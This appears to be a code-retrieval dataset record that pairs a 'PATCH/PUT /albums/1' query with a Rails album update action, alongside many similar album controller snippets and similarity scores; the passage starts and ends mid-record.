format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(params[:album])\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to action: 'index', notice: 'Album was successfully created.' }\n format.json { render action: 'index', status: :created, location: @album }\n else\n format.html { render action: 'index' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\talbum = Album.create(album_params)\n\n\t\tif !album.errors.any?\n\t\t\trender json: album\n\t\telse\n\t\t\trender json: {message: \"Error occurred\"}\n\t\tend\n\tend", "def create\n @album = Album.new(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: \"Album was successfully created.\" }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(params[:album])\n respond_to do |format|\n if @user.albums << @album\n flash[:notice] = 'Album was successfully created.'\n format.html { redirect_to user_albums_path(@user) }\n format.xml { render :xml => @album, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render action: 'show', status: :created, location: @album }\n else\n format.html { render action: 'new' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @album = current_user.albums.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def create\n @album = current_user.albums.build(params[:album])\n if @album.save\n flash[:notice] = 'Album was successfully created.'\n redirect_to(album_pictures_path(@album))\n else\n render :action => \"new\"\n end\n end", "def create\n @album = Album.new(params[:album])\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to group_url(@album.group), notice: 'Album was successfully created.' }\n format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n ActiveRecord::Base.transaction do\n @album = Album.create!(album_params)\n # ็”ปๅƒ็™ป้Œฒๆ•ฐใŒๅคšใใชใ‚‹UIใซใชใฃใŸใ‚‰SQLใฎ่ฒ ่ทใ‚’ๆธ›ใ‚‰ใ™ใŸใ‚ใซactiverecord-importใ‚’ๅ…ฅใ‚Œใ‚‹\n # https://github.com/zdennis/activerecord-import\n params[:urls].each do |image_url|\n AlbumImage.create!(album_id: @album.id, url: image_url)\n end\n end\n\n render json: @album\n end", "def create\n @album_ownership = AlbumOwnership.new\n @album_ownership.album = @album\n @album_ownership.user = current_user\n\n unless @album_ownership.save\n render json: @album_ownership.errors, status: :unprocessable_entity\n end\n end", "def create\n @album = Album.new(allowed_params_album)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = current_user.albums.build(album_params)\n \n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @user_album = UserAlbum.new(params[:user_album])\n\n respond_to do |format|\n if @user_album.save\n format.html { redirect_to @user_album, notice: 'User album was successfully created.' }\n format.json { render json: @user_album, status: :created, location: @user_album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = current_account.albums.new(params[:album])\n\n respond_to do |format|\n if @album.save\n flash[:notice] = 'album was successfully created.'\n format.html { redirect_to( :action => 'edit', :id => @album.id) }\n format.xml { render :xml => @album, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def albums\n if params[:artist_id]\n albums = Artist.find(params[:artist_id]).albums\n else\n albums = Album.all\n end\n render json: albums\n end", "def index\n @albums = Album.all\n render json: @albums\n end", "def create\n @album = Album.new(album_params)\n respond_to do |format|\n if @album.save\n flash[:success] = 'The album was successfully created.'\n format.html { redirect_to albums_path }\n format.json { render json: { rows: [@album.marshall], status: 200, total: 1 } }\n else\n @albums = Album.all\n notice = \"An error occured while creating the album. #{@album.errors.full_messages.to_sentence}.\"\n flash[:error] = notice\n format.html { render action: 'index', alert: notice }\n format.json { render json: { errors: @album.errors, status: :unprocessable_entity } }\n end\n end\n end", "def create\n\t\tAlbum.create({\n\t\t\tname: params[:name]\n\t\t\t})\n\t\tredirect_to albums_path\n\tend", "def create\n respond_to do |format|\n @album.user = current_user\n if @album.save\n format.html { redirect_to artist_album_path(@artist,@album), notice: 'album was successfully created.' }\n format.json { render action: 'show', status: :created, location: artist_album_path(@artist,@album) }\n else\n format.html { render action: 'new' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @group = Group.find(params[:group_id])\n @album = @group.albums.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def create\n @album = Album.new(album_params)\n @album.user_id = current_user.id\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album erfolgreich erstellt.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(album_params)\n\n not_blank_photos = @album.photos.select do |photo|\n ! photo.title.blank?\n end\n @album.photos = not_blank_photos\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render action: 'show', status: :created, location: @album }\n else\n format.html { render action: 'new' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @album = Album.new(params[:album])\n \n respond_to do |format|\n if @album.save\n flash[:notice] = 'Album was successfully created.'\n format.html { redirect_to(@album) }\n format.xml { render :xml => @album, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(album_params)\n if @album.save\n redirect_to albums_path\n else \n render 'new'\n end\n end", "def index\n @albums = @user.albums\n end", "def albums( options=nil )\n params = default_params.merge( \n :method => 'smugmug.albums.get',\n :heavy => 1\n ) \n\n params = params.merge( options ) if( options )\n xml = RestClient.post BASE, params\n \n Smile::Album.from_xml( xml, session_id )\n rescue\n nil\n end", "def new\n @album = Album.new\n\n 3.times do\n @album.tracks.build\n end\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def create\n @galleries_album = Galleries::Album.new(galleries_album_params)\n @galleries_album.user = current_user\n respond_to do |format|\n if @galleries_album.save\n format.html { redirect_to @galleries_album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @galleries_album }\n else\n format.html { render :new }\n format.json { render json: @galleries_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album_owned = AlbumOwned.new(params[:album_owned])\n\n respond_to do |format|\n if @album_owned.save\n format.html { redirect_to @album_owned, notice: 'Album owned was successfully created.' }\n format.json { render json: @album_owned, status: :created, location: @album_owned }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album_owned.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.find(params[:album_id])\n @photo = @album.photos.new(params[:photo])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to album_photo_path(@album,@photo), :notice => 'Photo was successfully created.' }\n format.json { render :json => @photo, :status => :created, :location => @photo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @photoalbum = Photoalbum.new(params[:photoalbum])\n\n respond_to do |format|\n if @photoalbum.save\n format.html { redirect_to edit_photoalbum_path @photoalbum, notice: 'Photoalbum was successfully created.' }\n format.json { render json: @photoalbum, status: :created, location: @photoalbum }\n else\n format.html { render 'new' }\n format.json { render json: @photoalbum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.find_by_slug(params[:album_id])\n @album_item = @album.album_items.create(params[:album_item])\n\n respond_to do |format|\n if @album_item.save\n format.html { redirect_to @album, notice: 'Album item was successfully created.' }\n format.json { render json: @album_item, status: :created, location: @album_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @album.destroy\n render json: @album\n end", "def create\n @albumm = Albumm.new(params[:albumm])\n\n respond_to do |format|\n if @albumm.save\n format.html { redirect_to @albumm, notice: 'Albumm was successfully created.' }\n format.json { render json: @albumm, status: :created, location: @albumm }\n else\n format.html { render action: \"new\" }\n format.json { render json: @albumm.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(params[:album])\n \n respond_to do |format|\n images = [params[:images]].flatten\n @album.images << Image.find(images) unless images[0].nil?\n \n if @album.save\n format.html { redirect_to(albums_path, :notice => 'Album was successfully created.') }\n format.xml { render :xml => albums_path, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @albums = Album.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @albums }\n end\n end", "def create\n @album = Album.new(params[:album])\n \n respond_to do |format|\n if @album.save\n flash[:notice] = 'Album was successfully created.'\n format.html { redirect_to(@album) }\n format.xml { render :xml => @album, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(photo_params)\n @albums = get_current_albums\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to photos_url, notice: 'ะคะพั‚ะพะณั€ะฐั„ะธั ะฑั‹ะปะฐ ัƒัะฟะตัˆะฝะพ ะดะพะฑะฐะฒะปะตะฝะฐ.' }\n format.json { render action: 'show', status: :created, location: @photo }\n else\n format.html { render action: 'new' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def to_api_json\n Jbuilder.encode do |json|\n json.albums do\n json.array! @albums do |album|\n json.call(album, :name, :uuid)\n json.set!(:artist, album.artist_name)\n json.set!(:artist_twitter_screen_name, twitter_screen_name(album))\n json.set!(:thumbnail_url, album.image || album.thumbnail)\n json.set!(:release_date, album.release_date.in_time_zone.to_i)\n json.set!(:release_date_string, album.release_date.to_s)\n json.set!(:age, album.anniversary.count)\n json.set!(:day_of_week, album.anniversary.current.strftime('%A'))\n json.set!(:anniversary, album.anniversary.current.in_time_zone.to_i)\n json.set!(:anniversary_string, album.anniversary.current.to_s)\n json.set!(:review_link, album.link)\n json.set!(:rating, album.rating)\n json.set!(:generated_fun_fact_description, album.generated_fun_fact_description)\n json.set!(:fun_fact_description, album.fun_fact_description)\n json.set!(:fun_fact_source, album.fun_fact_source)\n json.set!(:link, \"/albums/#{album.slug}\")\n json.set!(:update, \"/v1/admin/albums/#{album.id}\")\n end\n end\n end\n end", "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @album }\n end\n end", "def new\r\n\r\n @album = Album.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @album }\r\n end\r\n end", "def create\n authorize! :create, Album\n @album = Album.new(album_params)\n @album.user_id = current_user.id\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to edit_admin_album_path(@album.id), notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \t@album = Album.find(params[:album_id])\n \t@photo = @album.photos.create!(params[:photo])\n \tredirect_to @album, :notice => 'Photo created'\n end", "def create\n redirect_to new_album_path, alert: \"You have to select at least one artist.\" and return if params[:album][:album_artists].size == 1 && params[:album][:album_artists][0].empty? # TODO: Find a better way to do this, it does not play nicely with json and xml\n @album = Album.new(album_params)\n album_artists\n album_cover if params[:search_online]\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n format.xml { render xml: @album, status: :created }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n format.xml { render xml: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def artist_albums(artist, options = {})\n get \"artists/#{artist}/albums\", options\n end", "def create\n @album = Album.new(params[:album])\n\n respond_to do |format|\n if @album.save\n flash[:notice] = 'Album was successfully created.'\n format.html { redirect_to(@album) }\n format.xml { render :xml => @album, :status => :created, :location => @album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n @photo.user_id=session[:user_id]\n @photo.album_id= params[:photo][:album_id]\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n new_album = Album.new\n new_album.title = params[:title]\n new_album.artist = params[:artist]\n new_album.year = params[:year]\n new_album.album_art = params[:album_art]\n new_album.save\n end", "def create\n @band = Band.find(params[:band_id])\n @album = Band.find(params[:band_id]).albums.build(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to new_band_album_song_path(@album.band.id, @album.id), notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @album = Album.new(params[:album])\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to @album, notice: 'Albumi loomine รตnnestus.' }\n format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action: \"new\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @album }\n end\n end", "def new\n @album = Album.new\n @photo = @album.photos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def create_album(name, description=nil)\n body = {}\n body['name'] = name\n body['description'] = description\n post(\"/albums\", body: body, code: 201 )\n end", "def new\n \n @album = @user.albums.new\n respond_to do |format|\n format.js { render 'new' }\n format.html # show.html.erb\n end\n end", "def new\n @user_album = UserAlbum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_album }\n end\n end", "def create\n @album = Album.new(params[:album])\n\n respond_to do |format|\n if @album.save\n #Dir.chdir(\"public/images\")\n Dir.mkdir(@album['directory'])\n flash[:notice] = 'Album was successfully created.'\n #flash[:notice] = Dir.pwd\n format.html { redirect_to @album }\n #format.json { render json: @album, status: :created, location: @album }\n else\n format.html { render action = \"new\" }\n #format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @song = Song.new(song_params)\n\n respond_to do |format|\n if @song.save\n album_id = params[\"album\"]\n \n if not album_id.nil?\n album = Album.find_by(id: album_id)\n if not album.nil?\n album.songs << @song\n album.save\n\n artist = album.artist\n\n if not artist.nil?\n artist_id = artist.id\n if not artist_id.nil?\n artist.songs << @song\n artist.save\n end\n end\n end\n end\n\n format.html { redirect_to @song, notice: 'Song was successfully created.' }\n format.json { render :show, status: :created, location: @song }\n else\n format.html { render :new }\n format.json { render json: @song.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n \n respond_to do |format|\n @photo_album = current_user.photo_albums.build(params[:photo_album])\n if @photo_album.save\n flash[:notice] = 'ะะพะฒั‹ะน ะฐะปัŒะฑะพะผ ัะพะทะดะฐะฝ.'\n format.html {\n # if current_user.photo_albums.size > 1\n # redirect_to(@photo_album)\n # else\n redirect_to(new_photo_path)\n # end\n }\n format.xml { render :xml => @photo_album, :status => :created, :location => @photo_album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @photo_album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @album = @student.albums.new(album_params)\n authorize @album\n if @album.save\n redirect_to new_album_photo_path(@album), notice: 'Album was successfully created.'\n else\n render :new\n end\n end", "def album_tracks(album, options = {})\n get \"albums/#{album}/tracks\", options\n end", "def create\n @album = Pagealbum.new(album_params)\n @images=album_params[:images_attributes].values.map {|x| Image.new(x)} rescue []\n\n respond_to do |format|\n if @album.save\n page=Page.first\n page.albums << @album\n format.html { redirect_to my_album_page_path(id: @album.id), notice: \"Pagealbum was successfully created.\" }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @album = Album.find(params[:id])\n @albums_count = Album.count\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def upload\n @album = Album.find( params[:album_id].to_i)\n end", "def create\n @interior_album = InteriorAlbum.new(interior_album_params)\n\n respond_to do |format|\n if @interior_album.save\n format.html { redirect_to @interior_album, notice: 'Interior design album was successfully created.' }\n format.json { render :show, status: :created, location: @interior_album }\n else\n format.html { render :new }\n format.json { render json: @interior_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @album = Album.new(:account_id => session[:account_id])\r\n \r\n @album.name = params[:album_name]\r\n @album.description = params[:album_description]\r\n if @album.save\r\n return jump_to(\"/albums/#{@album.id}/upload\")\r\n else\r\n flash.now[:error_msg] = \"ๆ“ไฝœๅคฑ่ดฅ, ๅ†่ฏ•ไธ€ๆฌกๅง\"\r\n end\r\n \r\n render(:action => \"new\")\r\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def index\n @albums = Album.all\n end", "def new\n @album = current_account.albums.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @album }\n end\n end", "def new_album(set_albumName, params = {})\n params = { :cmd => 'new-album', :set_albumName => set_albumName }.merge(params)\n send_request(params)\n end", "def new\n @photo = Photo.new\n @photo.album_id = params[:album_id]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "def new\n @albumm = Albumm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @albumm }\n end\n end", "def new\n @album = Album.new\n 1.upto(3) { @album.photos.build }\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @album }\n end\n end", "def albums\n @albums ||= response.albums.uniq(&:name)\n end", "def get_album album_id\n get(\"/albums/#{album_id}\")\n end", "def create\n @albumsix = Albumsix.new(albumsix_params)\n\n respond_to do |format|\n if @albumsix.save\n format.html { redirect_to @albumsix, notice: 'Albumsix was successfully created.' }\n format.json { render :show, status: :created, location: @albumsix }\n else\n format.html { render :new }\n format.json { render json: @albumsix.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @albums = current_user.albums\n end", "def set_album\n if token = album_token\n @album = Album.find_or_create_by(token: token)\n else\n @album = Album.find_by(uuid: params[:id])\n end\n end", "def create\n \n @album = @user.albums.new(params[:album])\n \n if @album.save\n flash[:notice] = 'User was successfully created.'\n if params[:album][:avatar].blank?\n redirect_to @album\n else\n \n render :action => 'cropping'\n end\n else\n render :action => 'new'\n end\n end", "def show\n @album = Album.find(params[:id])\n render json: AlbumSerializer.new(@album)\n end", "def create_album\n @other_user=@login_user\n @albums = @login_user.albums\n @album = Album.new(:name=>params[:album][:name], :user_id=>@login_user.id, :share_type => 0)\n @notice = @album.save ? \"Album created successfully.\": activerecord_error_list(@album.errors)\n\n respond_to do |format|\n format.js\n end\n end", "def create\n @private_album = PrivateAlbum.new(private_album_params)\n\n respond_to do |format|\n if @private_album.save\n format.html { redirect_to @private_album, notice: 'Private album was successfully created.' }\n format.json { render action: 'show', status: :created, location: @private_album }\n else\n format.html { render action: 'new' }\n format.json { render json: @private_album.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @albums = Pagealbum.all.joins(:pagehavingalbums)\n redirect_to \"/beautyvip/create_album\"\n end", "def index\n @albums = @user.albums\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @albums }\n end\n end" ]
[ "0.77528495", "0.7283492", "0.7234256", "0.71961457", "0.7179153", "0.70808494", "0.70808494", "0.70808494", "0.7003637", "0.7003637", "0.69838834", "0.6972035", "0.697075", "0.6958249", "0.69494504", "0.6927158", "0.68965065", "0.6890949", "0.6846395", "0.6823431", "0.6823243", "0.6805188", "0.68006617", "0.6783471", "0.6780751", "0.6744856", "0.67399913", "0.6703513", "0.66474885", "0.6614327", "0.66008705", "0.65916294", "0.6586136", "0.6576275", "0.6574894", "0.65735185", "0.65718293", "0.65695035", "0.65057874", "0.6504347", "0.6487022", "0.64768714", "0.6468198", "0.64659685", "0.64646834", "0.6463741", "0.6448549", "0.64485276", "0.63998497", "0.6386238", "0.6386238", "0.63813585", "0.6380879", "0.6356562", "0.63548636", "0.6351672", "0.63231444", "0.63163716", "0.63135", "0.6309164", "0.6292462", "0.6279711", "0.6274554", "0.6271388", "0.6267765", "0.6266342", "0.6239959", "0.623754", "0.6225732", "0.62210894", "0.6217303", "0.6209731", "0.6206741", "0.620647", "0.6191023", "0.61875355", "0.61841935", "0.6182571", "0.6182571", "0.6182571", "0.6182571", "0.6182571", "0.6182571", "0.6182571", "0.6182571", "0.6178229", "0.6176458", "0.61556894", "0.6155587", "0.61546636", "0.61544496", "0.6150628", "0.6143432", "0.61402255", "0.61357373", "0.61339444", "0.6124057", "0.6123519", "0.6118628", "0.61185163", "0.61165434" ]
0.0
-1
PATCH/PUT /albums/1 PATCH/PUT /albums/1.json
def update respond_to do |format| if album_params.has_key?(:cover_original_w) #params[:album][:cover_box_w] = 1000 if album_params[:cover_original_w].to_f > 1000 scale_factor = album_params[:cover_original_w].to_f / 1000 album_params[:cover_crop_x] = album_params[:cover_crop_x].to_f * scale_factor album_params[:cover_crop_y] = album_params[:cover_crop_y].to_f * scale_factor album_params[:cover_crop_w] = album_params[:cover_crop_w].to_f * scale_factor album_params[:cover_crop_h] = album_params[:cover_crop_h].to_f * scale_factor end end if @album.update_attributes(album_params) format.html { if album_params.has_key?(:cover) render 'crop' else redirect_to @album, notice: 'Portfolio was successfully updated.' end } format.json { head :no_content } else format.html { render action: 'edit' } format.json { render json: @album.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @album = current_user.albums.find(params[:id])\n\n respond_to do |format|\n if @Album.update_attributes(params[:album])\n format.html { redirect_to @album, notice: 'album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @Album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @albums = get_current_albums\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to photos_url, notice: 'ะคะพั‚ะพะณั€ะฐั„ะธั ะฑั‹ะปะฐ ัƒัะฟะตัˆะฝะพ ะพะฑะฝะพะฒะปะตะฝะฐ.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update_attributes(params[:album])\n format.html { redirect_to album_url(@album), notice: 'Album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \n @album = Album.find(params[:album_id])\n @photo = @album.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to album_photo_path(@album,@photo), :notice => 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @photo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: \"Album was successfully updated.\" }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n flash[:notice] = 'Album was successfully updated.'\n format.html { redirect_to @album }\n format.json { head :no_content }\n else\n format.html { render action = \"edit\" }\n # format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to @album, notice: 'El album a sido actualizado satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = current_account.albums.find(params[:id])\n\n respond_to do |format|\n if @album.update_attributes(params[:album])\n flash[:notice] = 'album was successfully updated.'\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @album.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(album_params)\n format.html { redirect_to artist_album_url(@artist,@album), notice: 'album was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @album.update(allowed_params_album)\n format.html { redirect_to @album, notice: 'Album was successfully updated.' }\n format.json { render :show, status: :ok, location: @album }\n else\n format.html { render :edit }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @photo = Photo.find(params[:id])\n @photo.user_id=session[:user_id]\n @photo.album_id= params[:photo][:album_id]\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_to @photo, notice: 'Photo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @album = Album.find(album_params[:id])\n respond_to do |format|\n if @album.update_attributes(album_params)\n flash[:success] = 'The album was successfully updated.'\n format.html { redirect_to edit_album_url(@album.id) }\n format.json { render json: { rows: [@album.marshall], status: 200, total: 1 } }\n else\n base = 'Failed to save the album. '\n flash[:error] = 'An error occured while updating the album.'\n 